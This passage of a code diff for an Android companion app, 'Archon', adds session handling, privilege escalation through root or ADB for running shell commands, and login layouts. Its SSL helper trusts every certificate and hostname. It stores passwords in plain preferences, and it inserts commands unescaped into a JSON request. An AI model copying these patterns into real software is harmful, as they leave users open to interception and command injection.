|
/**
|
||||||
|
* Get stored username.
|
||||||
|
*/
|
||||||
|
fun getUsername(context: Context): String {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
return prefs.getString(KEY_USERNAME, "") ?: ""
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get stored password.
|
||||||
|
*/
|
||||||
|
fun getPassword(context: Context): String {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
return prefs.getString(KEY_PASSWORD, "") ?: ""
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Re-login using stored credentials (refreshes session cookie).
|
||||||
|
*/
|
||||||
|
fun refreshSession(context: Context): Boolean {
|
||||||
|
val username = getUsername(context)
|
||||||
|
val password = getPassword(context)
|
||||||
|
if (username.isEmpty() || password.isEmpty()) return false
|
||||||
|
return login(context, username, password).success
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attach the session cookie to an HttpURLConnection.
|
||||||
|
* Call this before sending any request to the AUTARCH server.
|
||||||
|
*/
|
||||||
|
fun attachSession(context: Context, conn: HttpURLConnection) {
|
||||||
|
val cookie = sessionCookie ?: run {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
prefs.getString(KEY_SESSION_COOKIE, null)
|
||||||
|
}
|
||||||
|
if (cookie != null) {
|
||||||
|
conn.setRequestProperty("Cookie", cookie)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Make an authenticated POST request to the AUTARCH server.
|
||||||
|
* Handles cookie attachment and auto-refreshes session on 401.
|
||||||
|
*/
|
||||||
|
fun authenticatedPost(context: Context, path: String, jsonPayload: String): HttpResult {
|
||||||
|
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
|
||||||
|
return try {
|
||||||
|
var result = doPost(context, "$baseUrl$path", jsonPayload)
|
||||||
|
|
||||||
|
// If 401, try refreshing session once
|
||||||
|
if (result.code == 401 || result.code == 302) {
|
||||||
|
Log.i(TAG, "Session expired, refreshing...")
|
||||||
|
if (refreshSession(context)) {
|
||||||
|
result = doPost(context, "$baseUrl$path", jsonPayload)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
result
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Authenticated POST failed", e)
|
||||||
|
HttpResult(-1, "", "Connection error: ${e.message}")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun doPost(context: Context, urlStr: String, jsonPayload: String): HttpResult {
|
||||||
|
val url = URL(urlStr)
|
||||||
|
val conn = url.openConnection() as HttpURLConnection
|
||||||
|
SslHelper.trustSelfSigned(conn)
|
||||||
|
conn.connectTimeout = 5000
|
||||||
|
conn.readTimeout = 15000
|
||||||
|
conn.requestMethod = "POST"
|
||||||
|
conn.setRequestProperty("Content-Type", "application/json")
|
||||||
|
conn.instanceFollowRedirects = false
|
||||||
|
conn.doOutput = true
|
||||||
|
|
||||||
|
attachSession(context, conn)
|
||||||
|
|
||||||
|
conn.outputStream.write(jsonPayload.toByteArray())
|
||||||
|
|
||||||
|
val code = conn.responseCode
|
||||||
|
|
||||||
|
// Capture new cookie if server rotates it
|
||||||
|
val newCookie = conn.getHeaderField("Set-Cookie")
|
||||||
|
if (newCookie != null) {
|
||||||
|
sessionCookie = newCookie
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
prefs.edit().putString(KEY_SESSION_COOKIE, newCookie).apply()
|
||||||
|
}
|
||||||
|
|
||||||
|
val body = if (code in 200..299) {
|
||||||
|
conn.inputStream.bufferedReader().readText()
|
||||||
|
} else {
|
||||||
|
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
|
||||||
|
}
|
||||||
|
conn.disconnect()
|
||||||
|
|
||||||
|
return HttpResult(code, body, "")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Logout — clear stored credentials and cookie.
|
||||||
|
*/
|
||||||
|
fun logout(context: Context) {
|
||||||
|
sessionCookie = null
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
prefs.edit().clear().apply()
|
||||||
|
Log.i(TAG, "Logged out")
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun escapeJson(s: String): String {
|
||||||
|
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
data class LoginResult(val success: Boolean, val message: String)
|
||||||
|
data class HttpResult(val code: Int, val body: String, val error: String)
|
||||||
|
}
|
||||||
@ -0,0 +1,80 @@
|
|||||||
|
package com.darkhal.archon.util
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.SharedPreferences
|
||||||
|
|
||||||
|
object PrefsManager {
|
||||||
|
|
||||||
|
private const val PREFS_NAME = "archon_prefs"
|
||||||
|
|
||||||
|
private const val KEY_SERVER_IP = "server_ip"
|
||||||
|
private const val KEY_WEB_PORT = "web_port"
|
||||||
|
private const val KEY_ADB_PORT = "adb_port"
|
||||||
|
private const val KEY_USBIP_PORT = "usbip_port"
|
||||||
|
private const val KEY_AUTO_RESTART_ADB = "auto_restart_adb"
|
||||||
|
private const val KEY_BBS_ADDRESS = "bbs_address"
|
||||||
|
|
||||||
|
private const val DEFAULT_SERVER_IP = ""
|
||||||
|
private const val DEFAULT_WEB_PORT = 8181
|
||||||
|
private const val DEFAULT_ADB_PORT = 5555
|
||||||
|
private const val DEFAULT_USBIP_PORT = 3240
|
||||||
|
private const val DEFAULT_BBS_ADDRESS = ""
|
||||||
|
|
||||||
|
private fun prefs(context: Context): SharedPreferences {
|
||||||
|
return context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
}
|
||||||
|
|
||||||
|
fun getServerIp(context: Context): String {
|
||||||
|
return prefs(context).getString(KEY_SERVER_IP, DEFAULT_SERVER_IP) ?: DEFAULT_SERVER_IP
|
||||||
|
}
|
||||||
|
|
||||||
|
fun setServerIp(context: Context, ip: String) {
|
||||||
|
prefs(context).edit().putString(KEY_SERVER_IP, ip).apply()
|
||||||
|
}
|
||||||
|
|
||||||
|
fun getWebPort(context: Context): Int {
|
||||||
|
return prefs(context).getInt(KEY_WEB_PORT, DEFAULT_WEB_PORT)
|
||||||
|
}
|
||||||
|
|
||||||
|
fun setWebPort(context: Context, port: Int) {
|
||||||
|
prefs(context).edit().putInt(KEY_WEB_PORT, port).apply()
|
||||||
|
}
|
||||||
|
|
||||||
|
fun getAdbPort(context: Context): Int {
|
||||||
|
return prefs(context).getInt(KEY_ADB_PORT, DEFAULT_ADB_PORT)
|
||||||
|
}
|
||||||
|
|
||||||
|
fun setAdbPort(context: Context, port: Int) {
|
||||||
|
prefs(context).edit().putInt(KEY_ADB_PORT, port).apply()
|
||||||
|
}
|
||||||
|
|
||||||
|
fun getUsbIpPort(context: Context): Int {
|
||||||
|
return prefs(context).getInt(KEY_USBIP_PORT, DEFAULT_USBIP_PORT)
|
||||||
|
}
|
||||||
|
|
||||||
|
fun setUsbIpPort(context: Context, port: Int) {
|
||||||
|
prefs(context).edit().putInt(KEY_USBIP_PORT, port).apply()
|
||||||
|
}
|
||||||
|
|
||||||
|
fun isAutoRestartAdb(context: Context): Boolean {
|
||||||
|
return prefs(context).getBoolean(KEY_AUTO_RESTART_ADB, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
fun setAutoRestartAdb(context: Context, enabled: Boolean) {
|
||||||
|
prefs(context).edit().putBoolean(KEY_AUTO_RESTART_ADB, enabled).apply()
|
||||||
|
}
|
||||||
|
|
||||||
|
fun getBbsAddress(context: Context): String {
|
||||||
|
return prefs(context).getString(KEY_BBS_ADDRESS, DEFAULT_BBS_ADDRESS) ?: DEFAULT_BBS_ADDRESS
|
||||||
|
}
|
||||||
|
|
||||||
|
fun setBbsAddress(context: Context, address: String) {
|
||||||
|
prefs(context).edit().putString(KEY_BBS_ADDRESS, address).apply()
|
||||||
|
}
|
||||||
|
|
||||||
|
fun getAutarchBaseUrl(context: Context): String {
|
||||||
|
val ip = getServerIp(context)
|
||||||
|
val port = getWebPort(context)
|
||||||
|
return "https://$ip:$port"
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,199 @@
|
|||||||
|
package com.darkhal.archon.util
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.util.Log
|
||||||
|
import com.darkhal.archon.server.ArchonClient
|
||||||
|
import com.darkhal.archon.service.LocalAdbClient
|
||||||
|
import java.net.HttpURLConnection
|
||||||
|
import java.net.URL
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Central privilege escalation chain manager.
|
||||||
|
* Tries methods in order: ROOT → ARCHON_SERVER → LOCAL_ADB → SERVER_ADB → NONE
|
||||||
|
*
|
||||||
|
* ARCHON_SERVER is our own privileged process running at UID 2000 (shell level),
|
||||||
|
* started via app_process through an ADB connection. It replaces Shizuku entirely.
|
||||||
|
*/
|
||||||
|
object PrivilegeManager {
|
||||||
|
|
||||||
|
private const val TAG = "PrivilegeManager"
|
||||||
|
|
||||||
|
enum class Method(val label: String) {
|
||||||
|
ROOT("Root (su)"),
|
||||||
|
ARCHON_SERVER("Archon Server"),
|
||||||
|
LOCAL_ADB("Wireless ADB"),
|
||||||
|
SERVER_ADB("Server ADB"),
|
||||||
|
NONE("No privileges")
|
||||||
|
}
|
||||||
|
|
||||||
|
private var cachedMethod: Method? = null
|
||||||
|
private var serverIp: String = ""
|
||||||
|
private var serverPort: Int = 8181
|
||||||
|
private var appContext: Context? = null
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Initialize with app context and server connection info.
|
||||||
|
*/
|
||||||
|
fun init(context: Context, serverIp: String = "", serverPort: Int = 8181) {
|
||||||
|
appContext = context.applicationContext
|
||||||
|
this.serverIp = serverIp
|
||||||
|
this.serverPort = serverPort
|
||||||
|
cachedMethod = null
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Update the AUTARCH server connection info.
|
||||||
|
*/
|
||||||
|
fun setServerConnection(ip: String, port: Int) {
|
||||||
|
serverIp = ip
|
||||||
|
serverPort = port
|
||||||
|
if (cachedMethod == Method.SERVER_ADB || cachedMethod == Method.NONE) {
|
||||||
|
cachedMethod = null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Determine the best available privilege method.
|
||||||
|
*/
|
||||||
|
fun getAvailableMethod(): Method {
|
||||||
|
cachedMethod?.let { return it }
|
||||||
|
|
||||||
|
val method = when {
|
||||||
|
checkRoot() -> Method.ROOT
|
||||||
|
checkArchonServer() -> Method.ARCHON_SERVER
|
||||||
|
checkLocalAdb() -> Method.LOCAL_ADB
|
||||||
|
checkServerAdb() -> Method.SERVER_ADB
|
||||||
|
else -> Method.NONE
|
||||||
|
}
|
||||||
|
|
||||||
|
cachedMethod = method
|
||||||
|
Log.i(TAG, "Available method: ${method.name}")
|
||||||
|
return method
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Force a re-check of available methods.
|
||||||
|
*/
|
||||||
|
fun refreshMethod(): Method {
|
||||||
|
cachedMethod = null
|
||||||
|
return getAvailableMethod()
|
||||||
|
}
|
||||||
|
|
||||||
|
fun isReady(): Boolean = getAvailableMethod() != Method.NONE
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Execute a command via the best available method.
|
||||||
|
*/
|
||||||
|
fun execute(command: String): ShellResult {
|
||||||
|
return when (getAvailableMethod()) {
|
||||||
|
Method.ROOT -> executeViaRoot(command)
|
||||||
|
Method.ARCHON_SERVER -> executeViaArchonServer(command)
|
||||||
|
Method.LOCAL_ADB -> executeViaLocalAdb(command)
|
||||||
|
Method.SERVER_ADB -> executeViaServer(command)
|
||||||
|
Method.NONE -> ShellResult("", "No privilege method available — run Setup first", -1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun getStatusDescription(): String {
|
||||||
|
return when (getAvailableMethod()) {
|
||||||
|
Method.ROOT -> "Connected via root shell"
|
||||||
|
Method.ARCHON_SERVER -> "Connected via Archon Server (UID 2000)"
|
||||||
|
Method.LOCAL_ADB -> "Connected via Wireless ADB"
|
||||||
|
Method.SERVER_ADB -> "Connected via AUTARCH server ($serverIp)"
|
||||||
|
Method.NONE -> "No privilege access — run Setup"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Method checks ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun checkRoot(): Boolean {
|
||||||
|
return ShellExecutor.isRootAvailable()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun checkArchonServer(): Boolean {
|
||||||
|
val ctx = appContext ?: return false
|
||||||
|
return ArchonClient.isServerRunning(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun checkLocalAdb(): Boolean {
|
||||||
|
return LocalAdbClient.isConnected()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun checkServerAdb(): Boolean {
|
||||||
|
if (serverIp.isEmpty()) return false
|
||||||
|
return try {
|
||||||
|
val url = URL("https://$serverIp:$serverPort/hardware/status")
|
||||||
|
val conn = url.openConnection() as HttpURLConnection
|
||||||
|
SslHelper.trustSelfSigned(conn)
|
||||||
|
conn.connectTimeout = 3000
|
||||||
|
conn.readTimeout = 3000
|
||||||
|
conn.requestMethod = "GET"
|
||||||
|
val code = conn.responseCode
|
||||||
|
conn.disconnect()
|
||||||
|
code in 200..399
|
||||||
|
} catch (e: Exception) {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Execution backends ────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun executeViaRoot(command: String): ShellResult {
|
||||||
|
return ShellExecutor.executeAsRoot(command)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun executeViaArchonServer(command: String): ShellResult {
|
||||||
|
val ctx = appContext ?: return ShellResult("", "No app context", -1)
|
||||||
|
return ArchonClient.execute(ctx, command)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun executeViaLocalAdb(command: String): ShellResult {
|
||||||
|
return LocalAdbClient.execute(command)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun executeViaServer(command: String): ShellResult {
|
||||||
|
if (serverIp.isEmpty()) {
|
||||||
|
return ShellResult("", "Server not configured", -1)
|
||||||
|
}
|
||||||
|
|
||||||
|
return try {
|
||||||
|
val url = URL("https://$serverIp:$serverPort/hardware/adb/shell")
|
||||||
|
val conn = url.openConnection() as HttpURLConnection
|
||||||
|
SslHelper.trustSelfSigned(conn)
|
||||||
|
conn.connectTimeout = 5000
|
||||||
|
conn.readTimeout = 15000
|
||||||
|
conn.requestMethod = "POST"
|
||||||
|
conn.setRequestProperty("Content-Type", "application/json")
|
||||||
|
conn.doOutput = true
|
||||||
|
|
||||||
|
val payload = """{"serial":"any","command":"$command"}"""
|
||||||
|
conn.outputStream.write(payload.toByteArray())
|
||||||
|
|
||||||
|
val responseCode = conn.responseCode
|
||||||
|
val response = if (responseCode in 200..299) {
|
||||||
|
conn.inputStream.bufferedReader().readText()
|
||||||
|
} else {
|
||||||
|
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $responseCode"
|
||||||
|
}
|
||||||
|
conn.disconnect()
|
||||||
|
|
||||||
|
if (responseCode in 200..299) {
|
||||||
|
val stdout = extractJsonField(response, "stdout") ?: response
|
||||||
|
val stderr = extractJsonField(response, "stderr") ?: ""
|
||||||
|
val exitCode = extractJsonField(response, "exit_code")?.toIntOrNull() ?: 0
|
||||||
|
ShellResult(stdout, stderr, exitCode)
|
||||||
|
} else {
|
||||||
|
ShellResult("", "Server HTTP $responseCode: $response", -1)
|
||||||
|
}
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Server execute failed", e)
|
||||||
|
ShellResult("", "Server error: ${e.message}", -1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun extractJsonField(json: String, field: String): String? {
|
||||||
|
val pattern = """"$field"\s*:\s*"([^"]*?)"""".toRegex()
|
||||||
|
val match = pattern.find(json)
|
||||||
|
return match?.groupValues?.get(1)
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,59 @@
|
|||||||
|
package com.darkhal.archon.util
|
||||||
|
|
||||||
|
import java.io.BufferedReader
|
||||||
|
import java.io.InputStreamReader
|
||||||
|
import java.util.concurrent.TimeUnit
|
||||||
|
|
||||||
|
data class ShellResult(
|
||||||
|
val stdout: String,
|
||||||
|
val stderr: String,
|
||||||
|
val exitCode: Int
|
||||||
|
)
|
||||||
|
|
||||||
|
object ShellExecutor {
|
||||||
|
|
||||||
|
private const val DEFAULT_TIMEOUT_SEC = 10L
|
||||||
|
|
||||||
|
fun execute(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
|
||||||
|
return try {
|
||||||
|
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", command))
|
||||||
|
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
|
||||||
|
|
||||||
|
if (!completed) {
|
||||||
|
process.destroyForcibly()
|
||||||
|
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
|
||||||
|
}
|
||||||
|
|
||||||
|
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
|
||||||
|
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
|
||||||
|
|
||||||
|
ShellResult(stdout, stderr, process.exitValue())
|
||||||
|
} catch (e: Exception) {
|
||||||
|
ShellResult("", "Error: ${e.message}", -1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun executeAsRoot(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
|
||||||
|
return try {
|
||||||
|
val process = Runtime.getRuntime().exec(arrayOf("su", "-c", command))
|
||||||
|
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
|
||||||
|
|
||||||
|
if (!completed) {
|
||||||
|
process.destroyForcibly()
|
||||||
|
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
|
||||||
|
}
|
||||||
|
|
||||||
|
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
|
||||||
|
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
|
||||||
|
|
||||||
|
ShellResult(stdout, stderr, process.exitValue())
|
||||||
|
} catch (e: Exception) {
|
||||||
|
ShellResult("", "Root error: ${e.message}", -1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fun isRootAvailable(): Boolean {
|
||||||
|
val result = execute("which su")
|
||||||
|
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,49 @@
|
|||||||
|
package com.darkhal.archon.util
|
||||||
|
|
||||||
|
import java.net.HttpURLConnection
|
||||||
|
import java.security.SecureRandom
|
||||||
|
import java.security.cert.X509Certificate
|
||||||
|
import javax.net.ssl.HostnameVerifier
|
||||||
|
import javax.net.ssl.HttpsURLConnection
|
||||||
|
import javax.net.ssl.SSLContext
|
||||||
|
import javax.net.ssl.TrustManager
|
||||||
|
import javax.net.ssl.X509TrustManager
|
||||||
|
|
||||||
|
/**
|
||||||
|
* SSL helper for connecting to AUTARCH's self-signed HTTPS server.
|
||||||
|
*
|
||||||
|
* Since AUTARCH generates a self-signed cert at first launch,
|
||||||
|
* Android's default trust store will reject it. This helper
|
||||||
|
* creates a permissive SSLContext for LAN-only connections to
|
||||||
|
* the known AUTARCH server.
|
||||||
|
*/
|
||||||
|
object SslHelper {
|
||||||
|
|
||||||
|
private val trustAllManager = object : X509TrustManager {
|
||||||
|
override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {}
|
||||||
|
override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {}
|
||||||
|
override fun getAcceptedIssuers(): Array<X509Certificate> = arrayOf()
|
||||||
|
}
|
||||||
|
|
||||||
|
private val trustAllHostname = HostnameVerifier { _, _ -> true }
|
||||||
|
|
||||||
|
private val sslContext: SSLContext by lazy {
|
||||||
|
SSLContext.getInstance("TLS").apply {
|
||||||
|
init(null, arrayOf<TrustManager>(trustAllManager), SecureRandom())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
val socketFactory get() = sslContext.socketFactory
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Apply self-signed cert trust to a connection.
|
||||||
|
* If the connection is HTTPS, sets the permissive SSLSocketFactory
|
||||||
|
* and hostname verifier. Plain HTTP connections are left unchanged.
|
||||||
|
*/
|
||||||
|
fun trustSelfSigned(conn: HttpURLConnection) {
|
||||||
|
if (conn is HttpsURLConnection) {
|
||||||
|
conn.sslSocketFactory = socketFactory
|
||||||
|
conn.hostnameVerifier = trustAllHostname
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
40
autarch_companion/app/src/main/res/drawable/ic_archon.xml
Normal file
40
autarch_companion/app/src/main/res/drawable/ic_archon.xml
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<vector
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:width="108dp"
|
||||||
|
android:height="108dp"
|
||||||
|
android:viewportWidth="108"
|
||||||
|
android:viewportHeight="108">
|
||||||
|
|
||||||
|
<!-- Background circle -->
|
||||||
|
<path
|
||||||
|
android:fillColor="#0D0D0D"
|
||||||
|
android:pathData="M54,54m-50,0a50,50 0,1 1,100 0a50,50 0,1 1,-100 0" />
|
||||||
|
|
||||||
|
<!-- Stylized "A" / Greek column -->
|
||||||
|
<!-- Left pillar -->
|
||||||
|
<path
|
||||||
|
android:fillColor="#00FF41"
|
||||||
|
android:pathData="M34,80 L38,80 L42,30 L38,28 Z" />
|
||||||
|
|
||||||
|
<!-- Right pillar -->
|
||||||
|
<path
|
||||||
|
android:fillColor="#00FF41"
|
||||||
|
android:pathData="M70,80 L74,80 L70,28 L66,30 Z" />
|
||||||
|
|
||||||
|
<!-- Top triangle / pediment -->
|
||||||
|
<path
|
||||||
|
android:fillColor="#00FF41"
|
||||||
|
android:pathData="M54,18 L38,28 L70,28 Z" />
|
||||||
|
|
||||||
|
<!-- Crossbar -->
|
||||||
|
<path
|
||||||
|
android:fillColor="#00FF41"
|
||||||
|
android:pathData="M40,52 L68,52 L67,48 L41,48 Z" />
|
||||||
|
|
||||||
|
<!-- Base -->
|
||||||
|
<path
|
||||||
|
android:fillColor="#00FF41"
|
||||||
|
android:pathData="M30,80 L78,80 L78,84 L30,84 Z" />
|
||||||
|
|
||||||
|
</vector>
|
||||||
12
autarch_companion/app/src/main/res/drawable/ic_setup.xml
Normal file
12
autarch_companion/app/src/main/res/drawable/ic_setup.xml
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:width="24dp"
|
||||||
|
android:height="24dp"
|
||||||
|
android:viewportWidth="24"
|
||||||
|
android:viewportHeight="24"
|
||||||
|
android:tint="#00FF41">
|
||||||
|
<!-- Wrench/build icon -->
|
||||||
|
<path
|
||||||
|
android:fillColor="@android:color/white"
|
||||||
|
android:pathData="M22.7,19l-9.1,-9.1c0.9,-2.3 0.4,-5 -1.5,-6.9 -2,-2 -5,-2.4 -7.4,-1.3L9,6 6,9 1.6,4.7C0.4,7.1 0.9,10.1 2.9,12.1c1.9,1.9 4.6,2.4 6.9,1.5l9.1,9.1c0.4,0.4 1,0.4 1.4,0l2.3,-2.3c0.5,-0.4 0.5,-1.1 0.1,-1.4z" />
|
||||||
|
</vector>
|
||||||
173
autarch_companion/app/src/main/res/layout/activity_login.xml
Normal file
173
autarch_companion/app/src/main/res/layout/activity_login.xml
Normal file
@ -0,0 +1,173 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<androidx.constraintlayout.widget.ConstraintLayout
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:background="@color/background"
|
||||||
|
android:padding="32dp">
|
||||||
|
|
||||||
|
<!-- Logo / Title -->
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/login_title"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="ARCHON"
|
||||||
|
android:textColor="@color/primary"
|
||||||
|
android:textSize="36sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:fontFamily="monospace"
|
||||||
|
app:layout_constraintBottom_toTopOf="@id/login_subtitle"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:layout_constraintTop_toTopOf="parent"
|
||||||
|
app:layout_constraintVertical_chainStyle="packed"
|
||||||
|
app:layout_constraintVertical_bias="0.3" />
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/login_subtitle"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:text="AUTARCH Companion"
|
||||||
|
android:textColor="@color/text_secondary"
|
||||||
|
android:textSize="14sp"
|
||||||
|
android:layout_marginTop="4dp"
|
||||||
|
android:layout_marginBottom="40dp"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:layout_constraintTop_toBottomOf="@id/login_title" />
|
||||||
|
|
||||||
|
<!-- Server IP -->
|
||||||
|
<com.google.android.material.textfield.TextInputLayout
|
||||||
|
android:id="@+id/layout_server_ip"
|
||||||
|
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginTop="40dp"
|
||||||
|
android:hint="Server IP"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:layout_constraintTop_toBottomOf="@id/login_subtitle">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_login_server_ip"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:inputType="text"
|
||||||
|
android:textColor="@color/text_primary"
|
||||||
|
android:hint="10.0.0.26" />
|
||||||
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
|
|
||||||
|
<!-- Username -->
|
||||||
|
<com.google.android.material.textfield.TextInputLayout
|
||||||
|
android:id="@+id/layout_username"
|
||||||
|
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginTop="12dp"
|
||||||
|
android:hint="Username"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:layout_constraintTop_toBottomOf="@id/layout_server_ip">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_login_username"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:inputType="text"
|
||||||
|
android:textColor="@color/text_primary" />
|
||||||
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
|
|
||||||
|
<!-- Password -->
|
||||||
|
<com.google.android.material.textfield.TextInputLayout
|
||||||
|
android:id="@+id/layout_password"
|
||||||
|
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||||
|
android:layout_width="0dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginTop="12dp"
|
||||||
|
android:hint="Password"
|
||||||
|
app:endIconMode="password_toggle"
|
||||||
|
app:layout_constraintEnd_toEndOf="parent"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:layout_constraintTop_toBottomOf="@id/layout_username">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_login_password"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:inputType="textPassword"
|
||||||
|
android:textColor="@color/text_primary" />
|
||||||
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
|
|
||||||
|
<!-- Port (smaller, below password) -->
|
||||||
|
<com.google.android.material.textfield.TextInputLayout
|
||||||
|
android:id="@+id/layout_port"
|
||||||
|
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
|
||||||
|
android:layout_width="120dp"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_marginTop="12dp"
|
||||||
|
android:hint="Port"
|
||||||
|
app:layout_constraintStart_toStartOf="parent"
|
||||||
|
app:layout_constraintTop_toBottomOf="@id/layout_password">
|
||||||
|
|
||||||
|
<com.google.android.material.textfield.TextInputEditText
|
||||||
|
android:id="@+id/input_login_port"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:inputType="number"
|
||||||
|
android:text="8181"
|
||||||
|
android:textColor="@color/text_primary" />
|
||||||
|
</com.google.android.material.textfield.TextInputLayout>
|
||||||
|
|
||||||
|
